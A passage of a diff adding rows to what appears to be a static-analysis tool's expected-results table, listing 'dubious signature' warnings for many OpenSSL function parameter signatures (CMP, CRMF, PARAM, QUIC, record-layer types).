X509_NAME *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const X509_REQ *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const char *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const stack_st_OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const unsigned char *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,EVP_PKEY *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,int64_t)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,int,const char *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,stack_st_X509 *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,stack_st_X509 **)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,void *)" in summary model. | +| Dubious signature "(OSSL_CMP_ERRORMSGCONTENT *)" in summary model. | +| Dubious signature "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_ITAV **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *)" in summary model. | +| Dubious signature "(OSSL_CMP_KEYRECREPCONTENT *)" in summary model. | +| Dubious signature "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_MSG *)" in summary model. | +| Dubious signature "(OSSL_CMP_MSG **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(OSSL_CMP_MSG *,const stack_st_OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_MSG *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIBODY *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIBODY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *,const ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *,const X509_NAME *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *,const stack_st_OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_PKISI *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKISI **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_POLLREP *)" in summary model. | +| Dubious signature "(OSSL_CMP_POLLREP **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_POLLREQ *)" in summary model. | +| Dubious signature "(OSSL_CMP_POLLREQ **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_PROTECTEDPART *)" in summary model. | +| Dubious signature "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_REVANNCONTENT *)" in summary model. | +| Dubious signature "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_REVDETAILS *)" in summary model. | +| Dubious signature "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_REVREPCONTENT *)" in summary model. | +| Dubious signature "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_REVREPCONTENT *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_ROOTCAKEYUPDATE *)" in summary model. | +| Dubious signature "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_SRV_CTX *,OSSL_CMP_SRV_delayed_delivery_cb_t,OSSL_CMP_SRV_clean_transaction_cb_t)" in summary model. | +| Dubious signature "(OSSL_CMP_SRV_CTX *,const OSSL_CMP_MSG *)" in summary model. | +| Dubious signature "(OSSL_CMP_SRV_CTX *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_SRV_CTX *,stack_st_X509 *)" in summary model. | +| Dubious signature "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)" in summary model. | +| Dubious signature "(OSSL_CORE_BIO *,const char *,va_list)" in summary model. | +| Dubious signature "(OSSL_CORE_BIO *,void *,size_t,size_t *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTID *)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTREQUEST *)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTTEMPLATE *)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCKEYWITHID *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCRYPTEDKEY *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCRYPTEDVALUE *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSG *)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSG **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSG *,const OSSL_CRMF_CERTID *)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSG *,const OSSL_CRMF_CERTREQUEST *)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSG *,const OSSL_CRMF_PKIPUBLICATIONINFO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSGS *)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSGS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_OPTIONALVALIDITY *)" in summary model. | +| Dubious signature "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_PBMPARAMETER *)" in summary model. | +| Dubious signature "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_PKIPUBLICATIONINFO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_PKIPUBLICATIONINFO *,OSSL_CRMF_SINGLEPUBINFO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_PKIPUBLICATIONINFO *,int)" in summary model. | +| Dubious signature "(OSSL_CRMF_PKMACVALUE *)" in summary model. | +| Dubious signature "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOPRIVKEY *)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOSIGNINGKEY *)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOSIGNINGKEYINPUT *)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_PRIVATEKEYINFO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_SINGLEPUBINFO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *)" in summary model. | +| Dubious signature "(OSSL_DAY_TIME *)" in summary model. | +| Dubious signature "(OSSL_DAY_TIME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_DAY_TIME_BAND *)" in summary model. | +| Dubious signature "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_DECODER *,const char *,int *)" in summary model. | +| Dubious signature "(OSSL_DECODER *,void *)" in summary model. | +| Dubious signature "(OSSL_DECODER *,void *,const char *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,BIO *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,OSSL_DECODER_CLEANUP *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,OSSL_DECODER_CONSTRUCT *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,OSSL_DECODER_INSTANCE *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,const char *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,int)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,void *)" in summary model. | +| Dubious signature "(OSSL_DECODER_INSTANCE *)" in summary model. | +| Dubious signature "(OSSL_DECODER_INSTANCE *,int *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *,OSSL_ENCODER_CLEANUP *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *,OSSL_ENCODER_CONSTRUCT *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *,const char *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *,int)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *,unsigned char **,size_t *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *,void *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_INSTANCE *)" in summary model. | +| Dubious signature "(OSSL_HASH *)" in summary model. | +| Dubious signature "(OSSL_HASH **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_HPKE_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(OSSL_HPKE_CTX *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(OSSL_HPKE_CTX *,uint64_t *)" in summary model. | +| Dubious signature "(OSSL_HPKE_CTX *,uint64_t)" in summary model. | +| Dubious signature "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,char **)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,size_t)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,unsigned long)" in summary model. | +| Dubious signature "(OSSL_IETF_ATTR_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_IETF_ATTR_SYNTAX *,GENERAL_NAMES *)" in summary model. | +| Dubious signature "(OSSL_IETF_ATTR_SYNTAX *,int,void *)" in summary model. | +| Dubious signature "(OSSL_IETF_ATTR_SYNTAX_VALUE *)" in summary model. | +| Dubious signature "(OSSL_INFO_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_INFO_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_INFO_SYNTAX_POINTER *)" in summary model. | +| Dubious signature "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ISSUER_SERIAL *)" in summary model. | +| Dubious signature "(OSSL_ISSUER_SERIAL *,const ASN1_BIT_STRING *)" in summary model. | +| Dubious signature "(OSSL_ISSUER_SERIAL *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(OSSL_ISSUER_SERIAL *,const X509_NAME *)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,BIO *)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,BIO *,uint32_t)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,const char *)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,const char *,size_t)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,const void *,size_t)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,int64_t)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,uint64_t)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX **,const char **,const X509_PUBKEY *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,..(*)(..),void *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,CONF_METHOD *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,EVP_PKEY *,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,OSSL_CORE_BIO *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,OSSL_INDICATOR_CALLBACK **)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,OSSL_PROPERTY_IDX)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,OSSL_PROVIDER_INFO *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const BIO_METHOD *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const OSSL_DISPATCH *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const OSSL_PROPERTY_DEFINITION *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,ENGINE *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,OSSL_PROPERTY_LIST **)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,const EC_METHOD *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,size_t)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,size_t,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,size_t,int,size_t,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint8_t[32],const uint8_t[32],const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t[64],const uint8_t *,size_t,const char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint32_t,int *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,uint32_t,uint32_t,int *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)" in summary model. | +| Dubious signature "(OSSL_METHOD_STORE *)" in summary model. | +| Dubious signature "(OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **)" in summary model. | +| Dubious signature "(OSSL_NAMED_DAY *)" in summary model. | +| Dubious signature "(OSSL_NAMED_DAY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_NAMEMAP *,int,const char *)" in summary model. | +| Dubious signature "(OSSL_NAMEMAP *,int,const char *,const char)" in summary model. | +| Dubious signature "(OSSL_OBJECT_DIGEST_INFO *)" in summary model. | +| Dubious signature "(OSSL_OBJECT_DIGEST_INFO *,int,X509_ALGOR *,ASN1_BIT_STRING *)" in summary model. | +| Dubious signature "(OSSL_PARAM *)" in summary model. | +| Dubious signature "(OSSL_PARAM *,const BIGNUM *)" in summary model. | +| Dubious signature "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)" in summary model. | +| Dubious signature "(OSSL_PARAM *,const char *)" in summary model. | +| Dubious signature "(OSSL_PARAM *,const void *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,double)" in summary model. | +| Dubious signature "(OSSL_PARAM *,int32_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,int64_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,int)" in summary model. | +| Dubious signature "(OSSL_PARAM *,long)" in summary model. | +| Dubious signature "(OSSL_PARAM *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,time_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,uint32_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,uint64_t)" in summary model. | +| Dubious signature "(OSSL_PARAM *,unsigned int)" in summary model. | +| Dubious signature "(OSSL_PARAM *,unsigned long)" in summary model. | +| Dubious signature "(OSSL_PARAM *,void *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM[],size_t,size_t,unsigned long)" in summary model. | +| Dubious signature "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *[],stack_st_BIGNUM_const *)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,const char *,const BIGNUM *)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,const char *,const char *,size_t)" in summary model. | +| Dubious signature "(OSSL_PARAM_BLD *,const char *,const void *,size_t)" in summary model. | +| Dubious signature "(OSSL_PQUEUE *)" in summary model. | +| Dubious signature "(OSSL_PQUEUE *,size_t)" in summary model. | +| Dubious signature "(OSSL_PQUEUE *,void *,size_t *)" in summary model. | +| Dubious signature "(OSSL_PRIVILEGE_POLICY_ID *)" in summary model. | +| Dubious signature "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *,OSSL_PROVIDER **,int)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *,const OSSL_CORE_HANDLE *)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *,const char *)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *,int,..(*)(..),void *)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *,size_t)" in summary model. | +| Dubious signature "(OSSL_PROVIDER *,size_t,int *)" in summary model. | +| Dubious signature "(OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int)" in summary model. | +| Dubious signature "(OSSL_QRX *)" in summary model. | +| Dubious signature "(OSSL_QRX *,OSSL_QRX_PKT *)" in summary model. | +| Dubious signature "(OSSL_QRX *,OSSL_QRX_PKT **)" in summary model. | +| Dubious signature "(OSSL_QRX *,QUIC_URXE *)" in summary model. | +| Dubious signature "(OSSL_QRX *,int)" in summary model. | +| Dubious signature "(OSSL_QRX *,ossl_msg_cb,SSL *)" in summary model. | +| Dubious signature "(OSSL_QRX *,ossl_qrx_key_update_cb *,void *)" in summary model. | +| Dubious signature "(OSSL_QRX *,ossl_qrx_late_validation_cb *,void *)" in summary model. | +| Dubious signature "(OSSL_QRX *,void *)" in summary model. | +| Dubious signature "(OSSL_QTX *)" in summary model. | +| Dubious signature "(OSSL_QTX *,..(*)(..),void *)" in summary model. | +| Dubious signature "(OSSL_QTX *,BIO *)" in summary model. | +| Dubious signature "(OSSL_QTX *,BIO_MSG *)" in summary model. | +| Dubious signature "(OSSL_QTX *,ossl_msg_cb,SSL *)" in summary model. | +| Dubious signature "(OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)" in summary model. | +| Dubious signature "(OSSL_QTX *,size_t)" in summary model. | +| Dubious signature "(OSSL_QTX *,uint32_t)" in summary model. | +| Dubious signature "(OSSL_QTX *,uint32_t,size_t,size_t *)" in summary model. | +| Dubious signature "(OSSL_QTX *,void *)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,const OSSL_QUIC_FRAME_CONN_CLOSE *)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,size_t)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,uint32_t)" in summary model. | +| Dubious signature "(OSSL_QUIC_TX_PACKETISER *,void *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,BIO *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,TLS_RL_RECORD *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)" in summary model. | +| Dubious signature 